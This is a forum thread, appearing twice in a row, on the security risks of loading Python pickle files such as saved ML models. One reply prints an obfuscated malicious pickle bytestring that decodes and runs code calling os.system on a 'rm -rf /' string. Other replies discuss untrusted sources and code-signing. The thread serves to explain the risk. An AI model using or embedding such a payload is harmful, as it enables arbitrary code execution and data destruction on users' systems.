4 ms·

What security holes can pickle cause? We used it for a while while training and saving our ML models which otherwise would have taken a lot of time to retrain e

What security holes can pickle cause? We used it for a while while training and saving our ML models which otherwise would have taken a lot of time to retrain each time the system starts.

jamesdutc 9y ago
Shell-code attacks using pickled objects have been around for some time. A pickle bytestring can execute completely arbitrary code. I have used them in my work. An easy introduction: https://www2.cs.uic.edu/~s/musings/pickle/ https://www2.cs.uic.edu/~s/musings/pickle/ An example: payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR." from pickle import loads; loads(payload) # don't do it...! (p.s., a matplotlib core dev told me they may move away from their use of pickle for this very reason.)
- mehrdadn 9y ago
  Python 2.7 didn't have much love to give :-) Traceback (most recent call last): File "<pyshell#1>", line 1, in <module> from pickle import loads; loads(payload) # don't do it...! File "...\lib\pickle.py", line 1388, in loads return Unpickler(file).load() File "...\lib\pickle.py", line 864, in load dispatch[key](self) File "...\lib\pickle.py", line 1139, in load_reduce value = func(*args) ValueError: bad marshal data (unknown type code)
  - icebraining 9y ago
    Python 3 uses a new pickling format (protocol) by default. That doesn't mean Python 2 isn't vulnerable.
    - mehrdadn 9y ago
      I just left a tongue in cheek comment and you just killed it with a dry reply :( yes, I'm well aware...
      - icebraining 9y ago
        Sorry! :)
icebraining 9y ago
Well, like eval(), it's only a security issue if you're reading pickled files from untrusted sources (that is, anywhere an attacker could have modified them). If you just ship them along with your Python source files, then it's a moot problem, since the attacker could just edit the source files.
- jamesdutc 9y ago
  Some environments use code-signing as a security mechanism. Arbitrary execution via pickle creates holes in this mechanism, requiring additional mitigations. PEP-551 briefly discusses security motivations and potential mechanisms for environments where code execution is locked down: https://www.python.org/dev/peps/pep-0551/ https://www.python.org/dev/peps/pep-0551/

What security holes can pickle cause? We used it for a while while training and saving our ML models which otherwise would have taken a lot of time to retrain each time the system starts.

jamesdutc 9y ago

Shell-code attacks using pickled objects have been around for some time. A pickle bytestring can execute completely arbitrary code. I have used them in my work. An easy introduction: https://www2.cs.uic.edu/~s/musings/pickle/ https://www2.cs.uic.edu/~s/musings/pickle/ An example: payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR." from pickle import loads; loads(payload) # don't do it...! (p.s., a matplotlib core dev told me they may move away from their use of pickle for this very reason.)

mehrdadn 9y ago
Python 2.7 didn't have much love to give :-) Traceback (most recent call last): File "<pyshell#1>", line 1, in <module> from pickle import loads; loads(payload) # don't do it...! File "...\lib\pickle.py", line 1388, in loads return Unpickler(file).load() File "...\lib\pickle.py", line 864, in load dispatch[key](self) File "...\lib\pickle.py", line 1139, in load_reduce value = func(*args) ValueError: bad marshal data (unknown type code)
- icebraining 9y ago
  Python 3 uses a new pickling format (protocol) by default. That doesn't mean Python 2 isn't vulnerable.
  - mehrdadn 9y ago
    I just left a tongue in cheek comment and you just killed it with a dry reply :( yes, I'm well aware...
    - icebraining 9y ago
      Sorry! :)

icebraining 9y ago

Well, like eval(), it's only a security issue if you're reading pickled files from untrusted sources (that is, anywhere an attacker could have modified them). If you just ship them along with your Python source files, then it's a moot problem, since the attacker could just edit the source files.

jamesdutc 9y ago
Some environments use code-signing as a security mechanism. Arbitrary execution via pickle creates holes in this mechanism, requiring additional mitigations. PEP-551 briefly discusses security motivations and potential mechanisms for environments where code execution is locked down: https://www.python.org/dev/peps/pep-0551/ https://www.python.org/dev/peps/pep-0551/